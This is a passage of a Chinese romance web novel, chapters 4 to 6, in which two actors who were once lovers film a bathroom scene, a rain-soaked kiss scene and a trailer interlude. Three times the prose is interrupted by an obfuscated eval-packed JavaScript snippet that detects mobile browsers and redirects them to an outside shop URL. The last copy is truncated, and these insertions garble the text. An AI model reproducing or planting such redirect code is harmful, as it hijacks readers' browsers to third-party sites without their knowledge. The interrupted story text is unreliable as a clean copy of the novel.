三年后,他成了顶流,以为站在了聚光灯下就能护住她,结果在周彻这种真正的资本巨鳄面前,他依旧只是一个“可怜”的戏子。 连他在红毯上强撑出的最后一丝体面,都在那铺天盖地的“嗑疯了”的评论里,变成了一场供人娱乐的独角戏。 “雪寻,别看了。”经纪人江寄实在不忍心,伸手想要拿走平板,“今晚的热搜我会让人降热度的,那部戏要不咱们违约赔钱吧?不演了。那个周彻摆明了就是冲着羞辱你来的。” 伯雪寻没动。 他的目光死死盯着画面里那个依偎在周彻怀里的女人。尽管只有短短几秒,尽管她的背挺得那么直,可他看到了。 她在求救。 “不。” “这戏,我接。” “既然他想演,”伯雪寻缓缓抬起头,看向窗外那座灯火通明的城市,那是周彻的领地,是吞噬了商颂青春与自由的沼泽,“那我就陪他演到底。” 他周彻能掌控资本,能操控舆论,能让全天下以为这是一种畸形又唯美的浪漫。 但他伯雪寻只要站在镜头前,就要让所有人看看,那不是爱。 那是罪。 4. 第 4 章 《他者女人的窥镜》筹备结束,全员进组封闭式拍摄。 商颂发现伯雪寻真的很适合演戏,大约就是所谓的剧抛脸,他的造型符合典型的失业失恋双重打击下的的青年男性形象,邋遢、颓丧、失去了对生活的希望和向往。 商颂没多大改变,只是点了粒泪痣,是易为春的标志。 “虽然很不愿意用这个形容词,但是易为春给人的感觉就是纯欲,但不等同于没质感廉价的纯欲擦边,你能懂吗?”段南桥给商颂讲戏已经一个小时。 “她是潮湿的。”商颂一开口,段南桥差点激动得跳起来,“就是这个感觉!潮湿!很妙!她像是一场不知何时会停的梅雨,像长在阴暗墙角却开得最艳的苔藓。她是无辜的,也是危险的;是清白的,又是情|色的。” 《他者女人的窥镜》故事发生在香港,因为误判毒贩行踪造成人质死亡,被誉为百年一遇的刑警代献秋革职在家,深怀愧疚与职业倦怠期让他开始酗酒,初恋因此提出分手,就在初恋搬家的同一天,代献秋在街边捡到一个昏倒在地的穿着白纱的女人...... 出于善意捡回家后,代献秋才发现女人失去了记忆,一开始他以为女人是装的,然而种种试探都失败了,事实证明,这女人不仅来历不明而且记忆受损。他本该交到警署,可他不愿意再次踏足,而女人的强烈情绪反抗也让他顾忌。 最终,代献秋留下女人,是因为他以刑警的直觉发现女人和开普敦公海“波塞冬”号沉船案件有千丝万缕的关系,但他找不到眼前关于这个柔弱无辜的女性的蛛丝马迹,显然,他已经患上了一个刑警不该有的偏袒与错觉。 “周游是谁?”女人湿漉漉的眼睛疑惑地望着试探者。 代献秋烦躁地抓了抓自己油腻的头发,仰天长叹:“目前欧陆航运的掌权人,也是当年波塞冬命案二百二十六人的嫌疑人。” “为什么没被抓?” “我定的嫌疑人。” “知道了,哥哥你没有权力。” “都说别叫我哥哥,我不是你哥。” 代献秋没招了,他很想说你穿着婚纱被我捡到,不把我认成丈夫,反而认成哥哥也是没谁了? 这也是一条线索。 但他知道直攻没有用,转而沉默等待时机,于是两人啼笑皆非的同居生活也开始了。 家里多了个陌生女人确实很不方便,哪怕他和初恋已经同居三年,但这个陌生女人明显是极其讲究但生活技能比他还差的生物。 代献秋推断女人之前过得日子还挺滋润。 甚至将这份滋润延续到了他的家中,好在女人知道自己是借住,主动接过打扫的活路,然而屋里拖了三道,越拖越脏;只会用电饭煲煮饭,炒西红柿鸡蛋;连洗浴用品和临时穿戴都要求他专门去买高档牌子货。 今天的重头戏是两人同居三天后,女人强烈要求一身酒味的代献秋洗浴,甚至还主动贴上去帮他洗,代献秋慌不择路地撞上了门框,惹得女人哈哈大笑。结果洗完出来的代献秋看见女人翻开了他和初恋的相册,出神地凝视着一张在日本伊豆拍摄的樱花树。 代献秋忽然意识到自己捡的这个女人没有名字,干脆让这个瞎折腾的女人自己取个名字,于是有了“你叫秋天我就是春天”的阿春。 造型做完,商颂看着镜子里一身碎花白裙的自己,明显是男士审美,妆容清透,整个人轻盈飘渺,像是一场不真实的梦。 镜头里,那是香港特有的晦暗与靡丽交织的色调。绿色的马赛克瓷砖上漫着一层经年累月的水垢,花洒滴答作响,像是一种隐秘的催促。 “Cut!”段南桥的声音透过对讲机传进逼仄的浴室,带着一丝无奈的烦躁。 这是第六次NG。 商颂有些挫败地抹了一把脸上的水珠,碎花裙被水汽洇得半透,紧紧裹在身上,显出几分狼狈。 “商颂,感觉不对。”段南桥从监视器后走出来,“你要把他往水里按,要帮他洗掉那一身陈腐的酒味和烂泥味。但我看到的要么是你太嫌弃他,像在刷马桶;要么就是你太像个风月场的老手,太欲了。易为春是‘纯’在前,‘欲’是骨子里的湿气,不是写在脸上的。” 她顿了顿,目光在伯雪寻那一身落魄颓丧的装扮和商颂精致脆弱的妆造间来回逡巡。 伯雪寻靠在浴缸边,衬衫湿了一半,领口微敞,露出锁骨上线条分明的肌肉,只是那股颓废劲儿拿捏得太死,眼里是一片死灰般的沉寂。他倒是很稳,但也太“死”了。 “你俩这距离感,中间还能塞下一辆过海巴士。”段南桥叹了口气,随即雷厉风行地下令,“清场。摄像机关了,所有工作人员退出去。” 现场一阵骚动,但很快归于平静。 “商颂,伯雪寻,就在这里面待着。把热水打开,给我真淋,我不喊停不准出来。”段南桥的声音不容置疑,甚至带着点艺术家的疯魔,“我要你们在这个封闭空间里把那层生涩的皮给磨破了,别给我演,给我‘活’在里面。” 随着浴室门“咔哒”一声反锁,原本属于片场的那种嘈杂骤然消失。 狭小的空间瞬间被一种令人窒息的静谧填满,唯有花洒被打开的声音,热水喷涌而出,蒸汽在两秒钟内占据了所有的感官。 伯雪寻抬头,那双平日里被角色代入得有些阴郁的眼睛此刻多了一丝真实的错愕。他下意识想去关水,手腕却被商颂按住了。 “别动。”商颂低声说,声音被水声冲刷得有些失真。 她入戏了,或者说,她在强迫自己不论真假都要成为易为春。 热水劈头盖脸地浇下,原本温热的水流在此时这种尴尬的沉默中竟显出几分滚烫。伯雪寻那一头为了角色特意留长且抓得油腻凌乱的头发瞬间塌了下来,混着浑浊的泡沫水流过他的眉骨、鼻梁,最后汇聚在下颌。 商颂往前逼近了一步。 她的碎花裙彻底湿透了,勾勒出腰肢与脊背的起伏。那种“湿漉漉”的感觉不再是形容词,而是温热的实体。 她抬起手,有些笨拙却执拗地解开了伯雪寻衬衫的第二颗扣子。 伯雪寻的喉结在水汽中剧烈地滚动了一下,他抓住商颂的手腕,力道有些大,指腹粗糙,“……你会把袖子弄脏的。” 那是代献秋的台词,带着拒人于千里之外的冷硬,却在此时此刻多了一丝不易察觉的慌乱。 商颂没说话,那双点着泪痣的眼睛在迷蒙的水雾中亮得惊人,像林间受惊却又因为好奇而止步的鹿。她挣脱了他的手,并非用力甩开,而是像水蛇一样滑脱,随后指尖带着沐浴露的滑腻,直接贴上了他的颈侧。 那种触感,温热、细腻,带着一种令人头皮发麻的真实感。 “哥哥,你太脏了。” 她轻轻开口,天真又残忍的直白:“我给你买了最好的沐浴露,你要闻起来像薄荷,不像腐烂的木头。” 伯雪寻呼吸一窒。水流顺着两人的身体流淌,在逼仄的地砖上汇成小河。他的背抵着冰冷的瓷砖,身前却是这个浑身散发着奇异热度与香味的女人。 并没有多少旖旎的情欲,更多的是一种如同溺水般的挣扎与纠缠。 商颂的手有些抖,她在发抖,分不清是因为浴室温差还是因为贴得太近而产生的生理性战栗。她拿起花洒,也不管水温是否合适,直愣愣地往伯雪寻头上冲,手指在他发间穿梭,毫无章法地搓揉。 那种力道带着一种孩童般的报复心和占有欲。 伯雪寻被水呛了一下,本能地想要推开她,手掌刚触到她的肩膀,他像是被烫到一般缩了缩手,最终变成了有些无可奈何的妥协,变成了在代献秋这个角色躯壳下本能的依靠。 伯雪寻反手扣住了商颂湿滑的后颈,不是为了亲吻,而是像是在洪水中抓住最后一根浮木。他低下了头,额头重重抵在她的肩窝处,那是商颂锁骨最深陷的地方,此刻盛满了温热的水洼。 那一瞬间,浴室里仿佛只有两人沉重的呼吸声和水流撞击瓷砖的闷响。 那种界限感正在崩塌。商颂能感觉到男人身上那股刻意维持的颓丧正在被水汽蒸发,取而代之的是一种年轻男性蓬勃却又被死死压抑的荷尔蒙,危险又迷人。 “咔哒。” 门锁忽然被从外面转动,段南桥并没有完全进来,只是开了一条缝,“这感觉对了,记住现在的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126691|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两人像是从一场高烧中惊醒。 伯雪寻松开了手,眼神有一瞬的闪躲,耳根在昏暗的灯光下红得发烫。商颂则有些虚脱地靠在洗手台上,轻轻喘息,胸口的碎花布料起伏剧烈。 现场工作人员重新忙碌起来,打光师调整着遮光板,有人小声地调侃了一句:“哎哟,看来还得是导演这招管用,刚进去的时候还客客气气像路人,现在出来这氛围,说是真两口子吵完架也有人信。” “什么真两口子,你看雪寻那个手都不知道往哪放,还是不熟。”副导演打趣道,递给商颂一条毛巾,“擦擦脸就行,头发留着。” 这条片场花絮后来被笑称为“强制磨合”,但在当时,这仅仅是一次关于“入侵”的演习。 正式开拍。 镜头并没有直接给到洗澡的过程,而是那是之后。 代献秋披着浴袍坐在旧沙发里,头发半干不干地耷拉着,水珠顺着他线条冷硬的侧脸滑进领口。他看起来像是刚被打捞上岸的水鬼,带着一身洗不掉的阴郁。 而那个女人正穿着那条不合身的大T恤,那是代献秋警署发的文化衫,下摆长得盖过了大腿根,露出一双匀称却带着几处淤青的小腿。她赤着脚踩在地板上,完全没有寄人篱下的自觉,正在翻看一本摊开的相册。 那本相册是代献秋的大忌。 “别乱动。” 伯雪寻的声音低哑,带着警告。他并没有立刻冲过去抢夺,而是一种长期无力感驱使下的言语阻拦。对于代献秋来说,任何动作都太消耗能量。 商颂并没有停手。她捻着那一页相纸,指尖贪婪地摩挲着照片上粉色的色块。 “这是哪里?”她问。 那是伊豆。三年前代献秋还没有被停职,还没有开始酗酒,初恋女友笑得比樱花还灿烂。照片背面写着“昭和枯草枯,樱花乱开时”。 “与你无关。”代献秋烦躁地去摸烟盒,却发现里面已经空了,刚才洗澡时被水浇透,成了一团烂纸。他咒骂了一声,不得不抬起头正视这个入侵者。 商颂转过身,举着那张照片,背对着昏黄的灯光。她的眼神很空,像是一面镜子,映照出代献秋此刻狼狈的模样。 “真好看。”她指着照片里的树,而不是人,“这种花开的时候,像是在下雪。” “那是樱花。”代献秋有些无力地纠正。 “我喜欢这个季节。”商颂歪了歪头,她那个点着泪痣的眼角微微上挑,透出一种不自知的妩媚与妖冶,像是某种艳丽的菌类在阴暗的角落里悄然舒展,“你也喜欢,对吗?” “我不喜欢。”代献秋冷硬地回绝,“那是春天,春天意味着潮湿、发霉、和没完没了的麻烦——就像你一样。” 这话若是换了别人,大约是要哭了。 但商颂没有。她像是完全听不懂其中的恶意,反而因为捕捉到了那个关键词而眼睛一亮。 她放下相册,赤着脚走到代献秋面前,蹲下身,双手趴在代献秋的膝盖上,仰起头看他。 这个视角极具冲击力。 代献秋下意识想往后缩,却被沙发困住。 “既然你是讨厌的秋天,也是在这个季节被抛弃的。”商颂伸出一根手指,轻轻戳了戳他心脏的位置,嘴角勾起一抹没有任何阴霾的笑,那种纯粹的质感在这间颓废的屋子里显得格格不入。 “那我就叫阿春。” “因为只有春天,才能把你这个死掉的秋天救活。” “好不好?代献秋。” 镜头在这一刻极缓慢地推进。 商颂的眼神太有穿透力,那种包含了母性、神性以及原始兽性的凝视,让伯雪寻在那一瞬间几乎真的感到了一种被“捕获”的错觉。他那个厌世的眼神出现了一丝裂痕,像是冰面下涌动的暗流。 “你有病。” 代献秋最终只憋出了这三个字,却没能推开趴在他膝头的女人。 “Cut!”段南桥的声音终于带上了一丝愉悦,“过了!这场眼神戏绝了!特别是最后商颂那个笑,纯得让人心慌,欲得又不着痕迹。以后都要给我假戏真做!伯雪寻!你身为男人主动一点呗!” 5. 第 5 章 下一场的戏份紧接着就来了。 代献秋的初恋因为遗忘了首饰反转回家,恰好开门的是阿春,女友这下误解了代献秋出轨冷暴力,当即进门暴打代献秋,两人对峙,女友哭红了眼。 而目睹这一切的阿春意识到自己是个外客,独自跑到外面街道枯坐,暴雨连天,她站在街沿无处可去,无回忆可循,脑海里只剩下一句“哥哥”给予她半点温暖。 代献秋发觉时出来寻找,终于找到了阿春,女人没有哭得梨花带雨,偏偏那一抹倔强更伤人心,两人就这样黏黏糊糊的接吻了。 将近黄昏,饰演初恋的贺嘉丽和伯雪寻的戏份NG了多次终于过了,取景移到室外,道具组开始漫天降雨。 这一场戏,是整部电影情感分崩离析与野蛮生长的分界点。 街道已经被清场,霓虹灯牌在水雾中晕开一团团失焦的红蓝光斑,像流淌在地上的过期颜料。 只有商颂一个人站在路灯下的公交站台边缘。那把长椅是坏的,积满了水,她只能站着。大雨滂沱中,单薄的蓝窄裙湿透了贴在身上,勾勒出少女一般却又带着熟韵的脊背线条。 商颂此刻有些瑟瑟发抖,不仅是演出来的,这人工降雨的水温着实凉得透骨。 远处传来急促的奔跑声,那是皮鞋踏破水洼的沉闷声响。 “商颂,阿春坐在站台边时脑海里在想什么?”段南桥瞟了眼她木然的神态,神色难看。 商颂闭上眼睛,带入那个场景:“阿春的世界里,刚刚发生了一场巨大的崩塌。初恋的出现,将她和代献秋这几天建立在沙堆上的温情堡垒冲刷得干干净净。争吵、耳光、那个男人脸上不耐又疲惫的神情,都在提醒她:你是个连过去都没有的小偷,偷了一段别人的安稳时光。” “这是原因,不是表现形式,商颂。”段南桥卷着剧本,指着镜头,“她坐在那里,包括她去公交站的这段路,她都是静止的,空的,知道吗?核心是她是一个没有过去的人。” 空。这是商颂从来没想过的思路,毕竟常人拿到这样的场景想到的情绪会有羞愧、自责、难堪和倦怠。 NG再NG再NG,贺嘉丽在一旁观戏的神情都逐渐不对劲,愈发怜悯这悲催的女主演。 伯雪寻就这样看着段南桥是如何一步一步地将一个成熟的演员逼向崩溃的边缘。 他没有阻止。 因为他知道段南桥要的是什么,他也知道商颂的表演差的是什么。 那是最后一层薄薄的窗户纸。 商颂自己捅不破,而段南桥太过心急、太过用力,只会把那层纸撕得粉碎。 现在,需要有一个人用一种更温柔、更巧妙的方式,去引导她穿过去。 他缓步走到场地中央。 在所有人惊讶的目光中,他脱下了自己身上那件厚厚的羽绒服,动作轻柔地披在了那个还在雨里瑟瑟发抖的商颂的身上。 然后,他蹲了下来。 他没有大声说什么,也没有做什么多余的动作。 他只是凑到商颂的耳边,用一种只有他们两个人才能听到的极温柔的声音,说了几句话。 没有人听到他到底说了什么。 人们只看到商颂那剧烈颤抖的身体渐渐地平复了下来,她抬起头看着伯雪寻,眼神里充满了无法言说的震惊。 几分钟后,伯雪寻站起身,将自己的羽绒服重新穿好。 然后,他朝监视器后的段南桥远远地点了点头,一个无声的示意。 商颂也缓缓地从地上站了起来。 那一刻,她整个人都变了。 如果说之前的她是一个盛满了痛苦的,即将溢出的容器,那么此刻的她就是一个被彻底抽空了的,只剩下一个空壳的行尸走肉。 她的眼神变了。 不再是愤怒,不再是悲伤。 而是一种发自内心的,被彻底掏空了所有希望之后的一片死寂的麻木。 她甚至不需要任何夸张的动作,只是安静地站在那里,就浑身都是故事。 监视器后的段南桥看着镜头里那个仿佛脱胎换骨的商颂,她立刻拿起对讲机,声音里带着一丝压抑不住的兴奋。 “各部门准备!” “Action!” 这一次,拍摄顺利得不可思议。 镜头前,商颂的表演堪称完美。 她只是在那片人造喧嚣的暴雨里,麻木地行走着。 她的脚步很慢很沉,抬起头,望向远处那片被灯光照亮的城市夜空。 她的脸上没有任何表情,但他的眼睛里却仿佛承载了整个世界的巨大悲伤。 那是一种无声却又比任何嘶吼都更具力量的绝望。 监视器后的段南桥看得入神了。 她贪婪地通过镜头凝视着那个被伯雪寻亲手“点化”了的完美的灵魂。 她甚至忘了喊“Cut”。 直到摄影指导小声地提醒她:“导演,胶片……快走完了。” 段南桥才如梦初醒。 “Cut!”她喊道。 “过了!这条过了!” 话音落下,整个片场先是死一般的寂静,随即爆发出了一阵压抑了许久的欢呼声。 所有工作人员都激动地拥抱在一起,他们知道他们刚刚见证了一个足以载入史册的表演瞬间。 商颂在喊卡之后依旧站在原地,久久无法出戏。 小艾连忙跑过去,给她递上热水。 段南桥从监视器后走了出来,径直走到了伯雪寻的面前,“刚才你跟她说什么了?” “我告诉她,别想着被哥哥抛弃了,也别想着离开这里了。” “我让她想,这个世界上,再也没有她的容身之处了。” “连火化的火都是她的敌人。” “然后,我问了她最后一个问题。” 伯雪寻顿了顿,看着段南桥的眼睛,缓缓道:“我问她,如果明天早上,太阳不会再升起来了,那你要去哪里?” 段南桥愣住了。 她彻底愣住了。 她忽然觉得,自己之前那些关于“掏空”,关于“死寂”的要求,是多么的苍白,多么的可笑。 他只用了几句话,就比她更精准地抵达了那个悲剧的内核。 时间是有限的,忙碌了一天的现场工作人员都很疲惫,段南桥开始清场准备拍摄吻戏,各个摄像头对准打光的公交车站处。 两人各自从保姆车里下来,商颂嘴里含着橘子糖,她瞟了眼街道那边的伯雪寻,猜不透他的心理活动,反正她现在是天人交战。 演员需要随时收放情绪,然而作为一个人,谁能保证每一次的重拍能做到完全还原。更别说她还欠他一句谢谢。 摄像机的红灯幽幽亮起。 镜头里,阿春孤零零地站在公交站台下,浑身湿透,雨水顺着她苍白的脸颊滑落,汇聚在下巴尖,滴落进漆黑的水坑里。 一阵沉闷的脚步声踩碎了雨幕。 代献秋撑着一把黑伞闯入了镜头。他全身也湿了一半,那是刚刚疯跑寻找时留下的痕迹。 他停在离她两步远的地方,伞沿压得很低,遮住了那一刻晦暗不明的神情。但他那只握着伞柄暴起青筋的手,泄露了代献秋此刻内心的狂躁与恐慌。 阿春没有回头。她只是迟钝地看着眼前的雨帘,声音轻得像雾:“你来做什么?哥哥。” 这一声“哥哥”,不再带有之前的娇憨与依赖,而是带着一种看透世情的疏离,像是一根针,精准地扎在代献秋那岌岌可危的理智防线上。 代献秋往前迈了一步,将黑伞强势地笼罩在她头顶,隔绝了漫天冷雨。 “没车了。”代献秋的声音哑得厉害,“末班车走了十分钟。” “我知道。”阿春终于侧过头,湿漉漉的头发贴在脸侧,那双清透的眼睛里倒映着霓虹灯扭曲的光晕,“但我除了这里,无处可去。那个房子……挤不下三个人。” 她眼底的凄惶不是演出来的,是商颂在那一刻真的共情了那份天地浩大却无立锥之地的孤独。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126692|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >代献秋的心脏在那一瞬间像是被人重重捏了一把。作为刑警,他的理智告诉他:这个女人是疑犯,是麻烦,是深渊。那个屋子里有他的初恋,有他原本正轨的生活。但此时此刻,作为一个男人,他看见的只是在大雨中瑟瑟发抖的春天。 如果不接住她,她就会碎掉。 “那就不挤。”代献秋丢掉了伞。 黑伞落地,在水洼中溅起水花,雨水瞬间再次将两人包裹。 他伸出双手,捧住了阿春冰凉如铁的脸庞。掌心粗砺的温度,烫得商颂下意识瑟缩了一下,却被伯雪寻更用力地固定住。 这是一场试探。 镜头缓缓推进,给到了特写。两人的距离近得能听见彼此混乱的呼吸声。 代献秋的拇指极其温柔地擦去她眼角的水渍。他的眼神不再是平日的颓丧,而是一种隐忍到极致后的崩塌,那是野火烧尽荒原后的灰烬,深处却埋着火种。 “你说你是春天。”代献秋低头,鼻尖近乎蹭到了她的鼻尖,那种温热的气息在冰冷的雨夜里不仅暧昧,更带着一种危险的诱惑,“春天是不应该在路边淋雨的。” “那应该在哪?”阿春微微昂起头,眼神懵懂又带着致命的直觉,她在勾引他,用一种最无辜的方式,在道德的边缘试探这位前刑警的底线。 “陷进秋天里。” 话音未落,代献秋吻了下去。 这个吻起初并不是激烈的。它轻得像是一片落叶触碰水面,带着极为小心翼翼的试探。伯雪寻处理得极其细腻,他的唇贴上她的唇,第一反应是感受她的冰冷,那种触感不像是在亲吻一个爱人,倒像是在触碰一只濒死的蝴蝶。 商颂的手有些不知所措地悬在半空,睫毛剧烈地颤抖着。在触碰到那份温热的瞬间,阿春内心竖起的高墙轰然倒塌。 紧接着,那个吻变了。 如果说开始是怜惜,那么接下来便是溃堤。 代献秋的一只手扣住了她的后脑,迫使她更深地仰起头。那种隐忍许久的渴望瞬间撕破了伪装,这个吻变得潮湿、黏腻且充满占有欲。那是他在对抗在这个世界里所有的不如意,对抗道德的审判,对抗“前刑警”这个身份的最后挣扎。 阿春悬空的手终于落下,死死揪住了他那件充满烟草味的夹克。她闭上了眼睛,在这个吻里尝到了雨水的味道,眼泪的味道,还有一个男人绝望的爱欲。 没有背景音乐,只有哗啦啦的雨声。 两人在雨中如两株湿漉漉的植物,在这个无人的深夜街头,旁若无人地纠缠、汲取彼此稀薄的温度。 段南桥坐在监视器后,甚至屏住了呼吸。光影在他们侧脸交界处暧昧地晕开,商颂眼角那一粒泪痣在雨水中显得凄艳无比,而伯雪寻闭着眼,眉头紧锁。那是一种极具电影质感的张力:唯美中透着易碎,温柔下涌动着罪恶。 不知吻了多久,代献秋缓缓松开了一些,却依然没有拉开距离。 两人的额头相抵,鼻尖厮磨。商颂微微喘息着,半睁开的眼眸里水光潋滟,迷离得让人心惊。 “跟我回去。”代献秋的声音低沉沙哑,带着不可违抗的力度,又似在向某种宿命投降,“懂了吗?” 商颂看着他近在咫尺的眼睛,那双瞳孔深得像要把她吸进去。这一刻,她分不清那是代献秋还是伯雪寻,她只知道自己的心跳快得几乎要跃出胸腔,那种酥麻感顺着脊椎直冲头顶。 她轻轻地,仿佛用尽了一生的力气,点了点头。 雨势似乎更大了,将两人彻底淹没在一片模糊的混沌中。 “Cut!” 段南桥这一声喊得格外绵长,带着一种大功告成的虚脱感。 随着这一声令下,那种将空气都凝固的暧昧张力并没有立刻消散。 商颂感觉腰间一松,伯雪寻扣着她的手放开了。但并没有马上离开,而是下意识地抬手,用手背轻轻挡在商颂头顶,替她遮了遮虽然停下却还在滴水的喷头余波。 “做得很好。” “像极了我们第一次接吻。” 6. 第 6 章 为了保持这份刚发酵出的“化学反应”,《他者女人的窥镜》宣发组顺水推舟,要求两位主演在片场多一些互动,甚至美其名曰为后期的宣发物料做“沉浸式储备”。 “虽然我们拍的是现实主义丧风,但你们毕竟是公认的神颜,还是得给CP粉留点活路。”段南桥叼着烟没点燃,挥着手里的剧本指示,“不用刻意摆拍,就在旁边坐着,聊聊天,哪怕是互相嘲讽两句都行,要有那种……张力。” 商颂原本是抗拒的。她刚从易为春的躯壳里钻出来,正裹着一条干爽的大毛巾瑟瑟发抖,她的指尖现在还是凉的。 “过来。”伯雪寻不知道从哪里搞来一台宝丽来相机,招呼商颂过去。 他没有坐那个代表“距离感”的单人折叠椅,而是毫无顾忌地挤到了商颂所在的那个原本就略显局促的长条沙发上。他身上的那件道具衬衫还没换,依旧湿漉漉地贴着脊背,但他似乎完全不在意,甚至还解开了袖口,露出一截很有力量感的小臂,随意地搭在沙发靠背上,呈现出一种圈占领地的姿态。 “Viviane让我逗你笑。”伯雪寻摆弄着相机,镜头都快怼到商颂脸上了,“说是刚才那个眼神太像要把我吃了,现在得拍点‘饭后甜点’。” 商颂被他这不着调的比喻逗得嘴角抽了一下,下意识想要避开镜头,“别拍,妆都花了。” “花了好,阿春不需要完美。”伯雪寻“咔嚓”按下了快门。 相纸吐出,显影。画面里的商颂发丝凌乱,裹着宽大的浴巾,像一只受了委屈又刚被喂饱的猫,眼角那粒泪痣在过曝的闪光灯下竟然显得格外鲜活。 “啧。”伯雪寻摇摇头,似乎对构图不满。 “怎么了?”商颂问。 “有点太漂亮了。” 随后他做了一个让在场助理都跌破眼镜的举动。 他凑到商颂脸颊边,再次举起相机。 “三、二、一。” 在商颂下意识摆出标准营业微笑的瞬间,伯雪寻忽然五官乱飞地做了一个极其夸张的鬼脸——这完全不是他那个闷骚顶流人设会做的事,甚至也不是片中那个颓丧刑警会做的事。他就像个十几岁第一次和喜欢女生合影的大男孩,故意丑化自己,只为了衬托身边人的精致。 “咔哒。” 这张照片出来时,商颂看着画面里那个挤眉弄眼、完全不在乎形象的伯雪寻,和那个被他的突然袭击逗得眉眼弯弯、笑意还未到达眼底却已全然绽放的自己。 她愣住了。 时光像是一条被倒着卷起的胶片。 她好像看见了四年前那个夏天。那时候还没有什么顶流和小花,只有一个总是骑着二手摩托在楼下等她的笨蛋。那时候伯雪寻也爱这么干,每次他们去大头贴机器拍照,他总是一脸严肃地在倒计时最后一秒突然做个猪鼻子或者翻白眼,照片出来的效果永远是商颂美得像画报,而他像个误入镜头的傻瓜。 “干嘛把你拍这么丑?”当时的商颂总是嫌弃地戳他的脑袋。 “你漂亮就行了啊。”少年时的伯雪寻露出一口白牙,还没学会现在的深沉与克制,“再说,把我拍丑点,我也能少点烂桃花。” “想什么呢?商老师。” 现实中,伯雪寻的声音将她拉回了当下。他正捏着那张未干透的相纸,在空中轻轻扇动,眼神里带着点狡黠的探究,“看我看入神了?是不是突然发现,虽然我在戏里挺颓的,但收拾收拾还算个帅哥?” 商颂眨了眨眼,那种突如其来的酸涩感被她强行压了回去。她看着眼前这个已经成熟了太多的男人,他眼角的轮廓更深邃了,笑起来也不再像当年那样毫无保留,多了几分名利场打磨后的从容和某种令她看不懂的笃定。 但他刚才那个为了逗她而扮丑的瞬间,真的,太像那个夏天了。 “你那是帅吗?”商颂扭过头,接过小艾递来的热姜茶,掩饰般地喝了一口,嘴角却怎么也压不下去,“那是滑稽。如果这张照片流出去,你的唯粉估计要连夜暗杀我,说我给她们哥哥下降头了。” “那是她们没眼光。”伯雪寻低低地笑了一声,顺手将那张相片塞进自己衬衫的贴身口袋里,“这张没收,归代献秋所有。算是阿春给的房租。” “那不公平,我没同意。”商颂嘴上反驳,身体却因为这一刻久违的轻松而放松了下来,肩膀不再紧绷。 就在这时,一阵轻微的骚动打破了这份微妙的温情。 “那边谁?!” 场务的大嗓门突然在片场边缘炸响。紧接着就是几个安保人员冲向了远处那排用于遮挡的冬青树丛。 一阵急促的快门声像机关枪一样响起,紧接着是几个人影抱头鼠窜,伴随着器材碰撞的脆响。 “代拍?”段南桥脸色一沉,刚才还跟艺术家一样欣赏两人互动的导演瞬间变成了母狮子,“清卡!把卡给我卸了!这点职业道德都没有,剧组封闭拍摄签了保密协议看不懂吗?” 是无孔不入的狗仔,或者说是那种为了卖图不择手段的代拍。 商颂眉头一皱,这种像苍蝇一样被盯着的感觉瞬间破坏了刚才那种如同泡沫般美好的回忆滤镜。现实总是如此粗糙且令人厌烦。 “回车上去。”伯雪寻反应极快。 他几乎是在听到骚动的第一秒就站起身,高大的身影直接挡在了商颂身前,隔绝了那个方向所有可能窥视的视线。他原本半干的衬衫上带着一股属于薄荷与雪松混合的味道,混杂着尚未散去的潮湿水汽,直冲商颂的鼻尖。 商颂的保姆车停在离这稍远一点的露天停车场,平时那车就有点老毛病。她刚想往那边走,小艾一脸焦急,“颂姐,那个空调又坏了。师傅刚看了说制热模块彻底罢工了,车里现在跟冰窖似的。” 现在的香港正值雨季,湿冷入骨。商颂刚淋过水,要是再在那样的车里待着,明天的通告大概率是要因为发烧而取消。 “去我那儿。” 伯雪寻的声音从头顶传来,不容置疑。 “不用,我去化妆间凑合……”商颂下意识想拒绝,那是出于一种成年人规避风险的本能。孤男寡女,前任,房车。这三个词组合在一起就是一颗随时会引爆的热搜炸弹。 “化妆间全是人,你是想让刚才那些还没抓干净的镜头再多拍点素材?”伯雪寻转过身,没给商颂思考的余地,甚至没管旁边眼巴巴看着的工作人员。 他的眼神很沉,不像刚才拍照时那样戏谑,而是带着代献秋那种看破不说破的锐利,和伯雪寻从未改变过的强势。 “我的车就在墙根,没人看得到。况且——”他压低了声音,只有商颂能听见,“你现在的嘴唇是紫色的,商颂。别拿身体跟那些人置气。” 二十分钟后。 这个世界上如果有什么地方能让商颂卸下防备,除了自己的被窝,大概也就是伯雪寻这辆虽然换了型号但内部布局几乎没变过的房车了。 暖气开得很足,甚至带着一丝慵懒的熏香味道。车窗都被黑色的隐私帘遮得严严实实,只留了一盏阅读灯,光线昏黄暧昧,竟然和片场那间浴室的色调有着异曲同工之妙。 商颂坐在那张真皮沙发上,手里捧着伯雪寻刚用那个据说价值不菲的咖啡机萃取出的一杯热可可。 她还在发抖。 伯雪寻坐在她对面,两个人挨得有些近,膝盖几乎快要碰到一起。他换了一件干爽的灰色卫衣,整个人显得柔和了许多,像是收起了所有的爪牙,只剩下一只名为“守候”的大型犬。 “还冷?”伯雪寻问。 商颂点点头,又摇摇头,刚想说什么,手里的杯子却忽然被人拿走了。 还没等她反应过来,那一双手就被另一双更大、更干燥、也更温暖的手给包裹住了。 那是伯雪寻的手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 